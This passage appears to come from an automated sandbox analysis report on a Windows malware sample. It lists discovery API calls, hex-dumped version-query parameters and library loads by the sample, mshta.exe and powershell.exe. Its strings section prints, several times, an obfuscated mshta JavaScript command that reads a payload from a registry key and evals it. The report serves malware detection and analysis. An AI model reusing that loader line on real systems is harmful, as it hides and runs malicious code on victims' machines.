"GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")31:Tb44,Found system information discovery API: "GetMonitorInfoA" in "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp" Found system information discovery API: "GetMonitorInfoW" in "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp" Found system information discovery API: "GetMonitorInfo" in "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp" Found system information discovery API: "ZwQuerySystemInformation" in "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp"32:T4e0,Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "GetKeyboardType" (Indicator: "GetKeyboardType"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")33:T2aef,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000e000cd6f0000000068f412007cf51200c8f7120095e1937780db1a00feffffffb2f49777c0f89777010000000000cd6f0000000000000000c0f41200f8f61200c702997701000000ecf412000000000000116900020399770002000000000000000000003cf71200a4019977f4f41200626f977764f897779c369f771413cd6fecf5120000000000000092773ff000001413cd6f0000000000000000ff2b9777b8369f77020000000c02930000009300390035000100000069746963616c53656374696f6e0000693a00240001000000000000000000000068369f00e0f41200 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000de730000000000000000c0f41200f8f61200c702997701000000ecf412000000000080116900020399770002000000000000000000003cf71200a4019977f4f41200626f977764f897779c369f773c11de73ecf5120000000000000092773ff000003c11de730000000000000000ff2b9777b8369f77020000000c02930000009300380046000100000065486561700053656374696f6e0074693900350001000000000000000000000068369f00e0f412005803790044f91200800000009c369f7700000000f88993004800790098017900986b9300f00979009c016500 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000650050016500435c9777f03b4176302f6500dc0165004030650050016500c91f000000000000302f65007f07000048017400bd000000ff07000000000000800000007f070000f000740053000000ff070000000000000200000240136500d100000021000000c600000000000000ff07000040136500d41f00cbc400650001000000000000000200000008000000480174004801740043017400000000000200000000006500f0007401f8f7cc01eb007400b4f9cc0195e1937738d11a00feffffff435c977750599777500000005800000042017400d96e9d75d96e9d7506000000 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000003300205439006dd15a768a9d000c6cae41760000000000000000740100007973000ac40033000100000000003300500133000c000000205439000000000002000000180000002400000014ed1e00000000000000000003000000d8ec1e003c6e977700000000000000000000000040353700c07562764035370000000000c0756276f4ec1e0079da5a7600000000020000004ced1e00dbd25a7600000000e2d25a76229c000c79730000ff2b9777b1cf9277ffffffff040233000000330058ec1e00f4ec1e000b004203030000002d301b00feffffffe063977716649777 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000530054e41e0095e19377353e1b00feffffffff2b97779a2a97774411e76b000000000000000060c6a100b844a500fce21e00c83a407670e31e00d58c3876ace31e0040e31e0042a43676a802407680e31e00d2f43676080000006ef5367644f5367681e0010c02000000341ae46b00001f005b51e46b02000000000000004411e76b08353b004411e76b0000000008353b00c4e31e00086d977718819f7701000000000000000000e46b341ae46b00001f005b51e46bbc44a500b844a50094e31e00d4e31e0054e41e0091e1e66b3037a064d8e31e00c89f97774411e76b00000000 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000009277d0f01769ac01330000003300ac013300000033000700d900eb0400000800d400eb04000000000000f8a23b000800d400eb0400000900cf00eb04000068703300a4019977200000000000000000000000c8cf3900586d3300786e3300b0f53b002072330088f53b005cdc1e0000003300dcdd1e0095e19377353e1b00feffffffff2b97779a2a9777d0f01769d0f017690000000070f0176900000000c4dd1e008049a50054dd1e0080f43676000053000000000089f4367655de010c02000000c8dd1e00c4dd1e00000000002864a50010c5a10060c6a1008049a50018dd1e00 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000330000000000200000000000000000000000c8cf3900586d3300786e3300d8f53b002072330000000000ecdb1e000000000000de1e0095e19377353e1b00feffffffff2b97779a2a9777585a2369a00f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000585a2369d8f53b00585a236900000000d8f53b0030dd1e00086d977718819f7700000000a00f00000100000070de1e0092e01169 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036006bd1f90eb8d8e7026d82a57624d73d0004010000 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2b9777fde16b75d8ebb876ac01330000003300000000000000000015009300f10400000000000000000000000000000000000016008e00f104000000000000000000006870330000000000200000000000000000000000a8d03900586d3300786e3300b8523d00207233000000000054c3e70200000000d4c4e702 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001e00f62b0c6e0b041362feffffff22170c6ea7230c6ee80000001b8008008cf21e005806000018f91e0018000000e4f81e000000000004f91e00269d1169e80000008cf21e005806000018f91e0018000000e4f81e0015a0070c0000000000003300e0ec926306000000000000005c0c000048f91e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009072a1003c2a53009072a100c0abb5003c2a530088f31e0082410d64 (UID: 00000000-00005936) "mshta.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000c8d81e00ccd81e00c83a407640d91e00d58c38767cd91e0010d91e0042a43676a802407650d91e00d2f43676080000006ef5367644f5367651da010c00da76637c11446301000000a65e766324d91e0000da766301000000a65e766354d91e0042a43676a802407698d91e007a0c7663080000006f0c7663dbfb8cef08db1e00010000000100000001000000b8d91e00935c987740839f77d4a097779dfb927708db1e00010000000100000078ab3b000000000088d91e00b8d91e0028da1e0095e19377dd261b00feffffffd4a097771bbe9d750000446300000000 (UID: 00000000-00005936) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003404)34:T1275,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000024359f7700002b7600000000a4e5de73e0002b7602000000000000008800000095e193773cf61200459d367600009300000000008000000002000000000013009c1dde7350f612006c22de7380000000d322de73dcf0de736cf61200741dde73dcf0de73000000009cf7120000000000 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000021000000908d690068f9cc01a06119760000650000000000f00074008cf9cc01f244aa77bc762976f0007400908d690021000000f00074005000000000000000a8f9cc0150dcae77f00074005000000008fbcc010000000050000000d0f9cc01733b5401f4007400ccf9cc0190d05801 (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100760000650000000000104169009cf8cc01f244aa77bc76297610416900908d6900e0f8cc01104169003000000002000000b8f8cc0150dcae771041690040000000f0385a010100000040000000e4f8cc01903b540114416900f84d5a0101000000f4e25601fce25601284c5a0100000000 (UID: 00000000-00005644) "mshta.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005936) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f01a166908000000c41a1669f3bd720902000000d41c166900001f00e61616699049a5008049a500b0dd1e00d0f0176970de1e0053af1769df7a7a60feffffffc41a1669421a1669e616166904de1e00d91b1669e616166967c13676ae05a1757457a1750000000000000000cc929d75 (UID: 00000000-00005936) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000600000001000000b11d00000200000053657276696365205061636b20310000f01a166908000000c41a1669f3bd720902000000d41c166900001f00020000000000000088000000b0dd1e00f0dd1e00459d36760000530000000000800000000200000000001f009813226904de1e00 (UID: 00000000-00005936) "mshta.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebb876b8523d0000a0fd7f9a5c98770040fd7f98c4e70244a0fd7f00000000400000003f0000002a00000000a0fd7f8cc4e702c15c987760829f772a00000000a0fd7f9a5c98770040fd7fb0c4e7025789977780839f7713179e75d8ebb876 (UID: 00000000-00005936) "mshta.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005936) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000000000100000064001400000078804200000000000100000001000000000000002c00000000d1410000000000140000000a000000000000000000000000006c0080d9410014000000000000000000000000000000000000000000000000b3000000000000189f420006000006 (UID: 00000000-00003404) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000095e1937716381b00fefffffff5f69777634d987720dd400010158d6588088d00b2f49777a2de2977b4eea50000008c6500008c65804d987786de2977f0000000f0008c650000000020eea5005c004300b4efa500000000000100000084eea50040f59777000000000000000070eea500 (UID: 00000000-00003404) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006920eea500010000000000000000001376000000000ceea50000000000000000000000000020eea5000000000000000000000000004023b7b514eea5000300000000000000880000000000137620eea500459d367600007d000000000080000000020000000000a600dc1a8c6534eea500 (UID: 00000000-00003404)35:T989,Found string "javascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Shell");Lled6no1l="nU5B83Ay";hb1ph=XW11.RegRead("HKCU\\software\\mwADQWKI6\\S4OunQxU");UzVbR4f="fWo0F";eval(hb1ph);AFC7s6="ZXeCP";" (Indicator: "ActiveXObject"; File: "mshta.exe") Found string "=new ActiveXObject("WScript.Shell");" (Indicator: "ActiveXObject"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string "=new%20ActiveXObject("WScript.Shell");" (Indicator: "ActiveXObject"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string ""C:\Windows\system32\mshta.exe" javascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Shell");Lled6no1l="nU5B83Ay";hb1ph=XW11.RegRead("HKCU\\software\\mwADQWKI6\\S4OunQxU");UzVbR4f="fWo0F";eval(hb1ph);AFC7s6="ZXeCP";" (Indicator: "ActiveXObject"; Source: "00000000-00005644.00000003.86403.00150000.00000004.mdmp") Found string ":\Windows\system32\mshta.exe" javascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Shell");Lled6no1l="nU5B83Ay";hb1ph=XW11.RegRead("HKCU\\software\\mwADQWKI6\\S4OunQxU");UzVbR4f="fWo0F";eval(hb1ph);AFC7s6="ZXeCP";" (Indicator: "ActiveXObject"; Source: "00000000-00005644.00000003.86403.00150000.00000004.mdmp"), Found string "ascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Shell");Lled6no1l="nU5B83Ay";hb1ph=XW11.RegRead("HKCU\\software\\mwADQWKI6\\S4OunQxU");UzVbR4f="fWo0F";eval(hb1ph);AFC7s6="ZXeCP";" (Indicator: "ActiveXObject"; Source: "00000000-00005644.00000003.86403.00650000.00000004.mdmp")36:T538,file/memory contains long string(File: "DISMHOST.EXE.6DC1D0A6.bin") Found string "GetCommandLineW" (Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found string "GetCommandLineA" (Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.00459000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string "GetCommandLineW" (Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")37:T4982,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter wsock32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter atl.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter Wtsapi32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter PSAPI.DLL (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter C:\e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.ENU (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter C:\e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.EN (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005644) "mshta.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter OLEACCRC.DLL (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter OLEACC.DLL (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter OLEAUT32.DLL (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Oleacc.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Msimtf.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MSCTF.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter mshtml.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter 